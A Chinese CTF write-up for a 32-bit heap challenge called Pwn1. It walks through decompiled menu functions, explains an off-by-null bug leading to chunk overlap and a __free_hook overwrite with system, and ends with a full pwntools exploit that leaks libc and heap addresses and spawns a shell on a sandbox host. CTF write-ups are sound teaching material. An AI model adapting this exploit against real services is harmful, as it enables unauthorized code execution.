Pwn1

点击此处获得更好的阅读体验


本 WP 来自binLep原创投稿

题目考点

  • off-by-null

解题思路

程序保护如下:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

本题漏洞点是 off-by-null

main 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
void *ptr; // [esp+0h] [ebp-Ch]
ptr = sub_8B0();
if ( !ptr )
exit(0);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 2 )
break;
edit(ptr);
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_14;
add(ptr);
}
if ( v3 == 3 )
{
delete(ptr);
}
else
{
if ( v3 != 4 )
{
LABEL_14:
puts("INVALID ORDER");
exit(0);
}
rename(ptr);
}
}
}

add 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
_DWORD *__cdecl add(int a1)
{
_DWORD *result; // eax
int v2; // esi
size_t size; // [esp+4h] [ebp-14h]
int v4; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]
for ( i = 0; i >= 0 && i <= 9 && *(4 * i + a1); ++i )
{
if ( i > 9 )
return puts("list full");
}
*(4 * i + a1) = malloc(0x10u);
**(4 * i + a1) = 0;
printf("Name length: ");
__isoc99_scanf("%d", &size);
if ( size > 0 || size <= 0x1FF )
{
printf("Name: ");
v2 = *(4 * i + a1);
*(v2 + 4) = sub_929(size);
printf("Price: ");
__isoc99_scanf("%d", &v4);
*(*(4 * i + a1) + 8) = v4;
result = printf("Now Computer %s is yours\n\n", *(*(4 * i + a1) + 4));
}
else
{
free(*(4 * i + a1));
result = (4 * i + a1);
*result = 0;
}
return result;
}

edit 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl edit(int a1)
{
void **v1; // esi
int result; // eax
int v3; // [esp+8h] [ebp-10h]
int v4; // [esp+Ch] [ebp-Ch]
printf("Index: ");
__isoc99_scanf("%d", &v3);
if ( v3 < 0 || v3 > 9 || !*(4 * v3 + a1) )
return puts("Too young");
printf("Comment on %s : ", *(*(4 * v3 + a1) + 4));
v1 = *(4 * v3 + a1);
*v1 = malloc(0x8Cu);
read(0, **(4 * v3 + a1), 0x8Cu);
printf("And its score: ");
__isoc99_scanf("%d", &v4);
result = *(4 * v3 + a1);
*(result + 12) = v4;
return result;
}

结合 add 函数和 edit 函数大致能看出来程序分配堆块的流程

先分配一个 0x18 大小的堆块,然后这个堆块的 bk 存着一个自定义大小的堆块,内容是在 add 函数中输入的内容

之后 edit 函数使用时会生成一个大小为 0x90 的堆块,之后把这个堆块的地址放到上面那个 0x18 大小堆块的 fd 里

delete 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl delete(int a1)
{
int v2; // [esp+Ch] [ebp-Ch]
printf("WHICH IS THE RUBBISH PC? Give me your index: ");
__isoc99_scanf("%d", &v2);
printf("Comment %s will disappear\n", **(4 * v2 + a1));
if ( v2 < 0 || v2 > 9 || !*(4 * v2 + a1) )
return puts("Too young");
free(*(*(4 * v2 + a1) + 4));
free(**(4 * v2 + a1));
*(*(4 * v2 + a1) + 4) = 0;
**(4 * v2 + a1) = 0;
free(*(4 * v2 + a1));
*(4 * v2 + a1) = 0;
return puts("Done");
}

rename 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl rename(void *ptr)
{
int v1; // esi
int v3; // [esp+8h] [ebp-10h]
size_t size; // [esp+Ch] [ebp-Ch]
printf("Give me an index: ");
__isoc99_scanf("%d", &v3);
if ( v3 >= 0 && v3 <= 9 && *(ptr + v3) && *(*(ptr + v3) + 4) )
{
size = malloc_usable_size(*(*(ptr + v3) + 4));
v1 = *(ptr + v3);
*(v1 + 4) = realloc(*(*(ptr + v3) + 4), size);
read(0, *(*(ptr + v3) + 4), size / 4);
puts("Done");
getshell(ptr, *(ptr + v3));
}
return puts("Too young");
}

getshell 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void __cdecl __noreturn getshell(void *ptr, int a2)
{
char v2; // [esp+Fh] [ebp-9h]
printf("Wanna get more power?(y/n)");
getchar();
__isoc99_scanf("%c", &v2);
if ( v2 == 121 )
{
if ( !unk_300C )
{
unk_300C = 1;
puts("DO YOU guys know Digital IC?");
if ( sub_E8D() == 1 )
{
getchar();
puts("Hey Pwner");
read(0, *(a2 + 4), 4u);
printf("PWNer say goobye gently");
sub_FB9(ptr);
}
puts("TCL!");
exit(233);
}
puts("you've seen death magic.");
exit(233);
}
puts("Coward");
exit(233);
}

add 函数存在 off-by-null,就导致可以利用 unlink 来向后合并,这里并不是靠 unlink 来拿到 chunk 权限,只是为了向后合并

之后合并的 unsorted bin chunk 里有着能控制的堆块,修改那个 0x18 大小堆块的 bk 到堆基地址 + 8 的位置就可以控制基本所有堆块了

因为只能在堆基地址 + 8 的位置写 0xb 大小的内容,所以第三个 chunk 在最后会被修改成错误的值,要提前释放

总体思路就是以上,靠伪造假 chunk,内容写上 __free_hook,之后靠 rename 函数修改 __free_hook 的值为 addr_system

再释放一个带有/bin/sh字符串的 chunk 即可提权

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *
debug = 2
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
if debug == 1:
p = process('./chall')
else:
p = remote('challenge-44f02604bacb251b.sandbox.ctfhub.com', 33314)
def add(name_len, name_content, price_content):
p.sendlineafter('>>> ', '1')
p.sendlineafter('Name length: ', str(name_len))
p.sendlineafter('Name: ', name_content)
p.sendlineafter('Price: ', str(price_content))
def edit(comment_idx, comment_content=None, score_content=None):
p.sendlineafter('>>> ', '2')
p.sendlineafter('Index: ', str(comment_idx))
if not comment_content:
return
p.sendafter(' : ', comment_content)
p.sendlineafter('And its score: ', str(score_content))
def delete(delete_idx):
p.sendlineafter('>>> ', '3')
p.sendlineafter('index: ', str(delete_idx))
p.recvuntil('Comment ')
def rename(rename_idx, rename_fakeaddr, rename_address):
p.sendlineafter('>>> ', '4')
p.sendlineafter('Give me an index: ', str(rename_idx))
p.send(rename_fakeaddr)
p.sendlineafter('Wanna get more power?(y/n)', 'y')
p.sendlineafter('Give me serial: ', 'e4SyD1C!')
p.sendlineafter('Hey Pwner\n', rename_address)
# leak libc
add(0x8c, 'a', 0)
add(0x20, 'b', 1)
delete(0)
edit(1, 'aaaa', 1)
delete(1)
addr___malloc_hook = u32(p.recv(8)[4:]) - 0x48
libc = LibcSearcher('__malloc_hook', addr___malloc_hook)
libcbase = addr___malloc_hook - libc.dump('__malloc_hook')
addr___free_hook = libcbase + libc.dump('__free_hook')
addr_system = libcbase + libc.dump('system')
# leak heapbase
add(0x20, 'a', 0)
add(0x88, 'a', '1')
delete(0)
add(0x1f0, 'a', 2)
add(0x20, 'a', 3)
delete(1)
delete(0)
edit(2, 'aaaa', 2)
delete(2)
addr_heap = u32(p.recv(8)[4:]) - 0x118
# chunk overlap
pd = 'a' * 0xf8
pd += p32(0) + p32(0xf9)
pd += p32(0) + p32(addr___free_hook)
pd += p32(0) + p32(0xe9)
pd += p32(0) + p32(addr___free_hook)
pd += '\x00' * 0xdb
add(0x1f4, pd, 0) # emmm
add(0x20, 'a', 1)
pd = 'a' * 0x10
pd += p32(0) + p32(0xb9)
pd += p32(addr_heap + 0x70) + p32(addr_heap + 0x74)
pd += '\x00' * 0xc + p32(addr_heap + 0x60)
add(0x88, pd, 2)
delete(1)
add(0x24, 'a' * 0x20 + p32(0xb8), 1)
delete(0)
# make fake bk(0x10)
pd = 'b' * 0x70
pd += p32(0) + p32(0x11)
pd += p32(0) + p32(addr_heap + 8)
pd += p32(0) + p32(0x11)
pd += p32(0) + p32(addr_heap + 0x100)
pd += p32(0) + p32(0x21)
pd += '/bin/sh'
add(0x1b0, pd, 0)
delete(2)
# gdb.attach(p, "b *$rebase(0x1174)\nc")
rename(1, p32(addr_heap + 0xf0) + p32(addr_heap + 0x220), p32(addr_system))
p.recv()
# gdb.attach(p)
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('addr_system = ' + hex(addr_system))
success('addr_heap = ' + hex(addr_heap))
success('addr___free_hook = ' + hex(addr___free_hook))
p.interactive()